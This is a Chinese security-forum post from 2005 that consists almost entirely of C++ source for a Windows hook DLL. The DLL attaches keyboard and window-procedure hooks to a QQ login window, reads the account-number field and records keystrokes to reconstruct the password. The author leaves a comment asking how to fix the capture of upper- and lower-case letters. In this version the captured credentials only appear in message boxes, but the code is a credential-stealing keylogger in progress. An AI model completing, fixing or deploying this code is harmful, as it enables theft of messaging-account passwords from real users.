|
![]() | 作者: battle [battle]
![]() |
登录 |
#include <windows.h> #include <stdio.h> extern "C" __declspec(dllexport) BOOL WINAPI SetHWnd(HWND hWnd); #pragma data_seg("shared") HHOOK hProc = NULL; HHOOK hKey = NULL; HWND hNum = NULL; HWND hPass = NULL; PMSG pMsg; #pragma data_seg() #pragma comment(linker, "/section:shared,rws") HINSTANCE hInst; static int i=0; void GetNumPass(void) { char num[13]={0}; char pas[21]={0}; GetWindowText(hNum,num,sizeof(num)); for(int i=0;i<20;i++) { pas[i] = (char)pMsg[i*2].wParam; //这样得到的密码大小写都没处理 应该怎样处理????????????? } MessageBox(NULL,num,"QQ",0); MessageBox(NULL,pas,"Pass",0); } LRESULT CALLBACK CallWndProc(int code,WPARAM wParam,LPARAM lParam) { CWPSTRUCT * p = (CWPSTRUCT*)lParam; if(p->message == WM_COMMAND && p->wParam == 16032) { GetNumPass(); } return CallNextHookEx(hKey,code,wParam,lParam); } LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) { pMsg[i].wParam = wParam; i++; if(wParam == VK_RETURN) { GetNumPass(); } return CallNextHookEx(hKey,code,wParam,lParam); } __declspec(dllexport) WINAPI SetHWnd(HWND hWnd) { BOOL hRet = FALSE; if(hWnd != NULL) { DWORD dwThread = GetWindowThreadProcessId(hWnd,NULL); hNum = GetDlgItem(hWnd,138); hPass = GetDlgItem(hWnd,180); if((hNum == NULL) && (hPass == NULL)) { MessageBox(NULL,"hNum and hPass is hWnd == NULL","TT",0); return FALSE; } hProc = SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hInst,dwThread); hKey = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hInst,dwThread); hRet = ((hNum != NULL) && (hPass != NULL)); } else { hRet = ((UnhookWindowsHookEx(hProc)) && (UnhookWindowsHookEx(hKey))); hNum = NULL; hPass = NULL; hProc = NULL; hKey = NULL; } return hRet; } BOOL APIENTRY DllMain(HINSTANCE hInstance,DWORD fdwReason,LPVOID lpvReason) { if(fdwReason == DLL_PROCESS_ATTACH) { MessageBox(NULL,"Load DllMain","t",0); hInst = hInstance; pMsg = (PMSG)malloc(20*sizeof(MSG));; } return TRUE; } |
地主 发表时间: 05-08-28 22:33 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号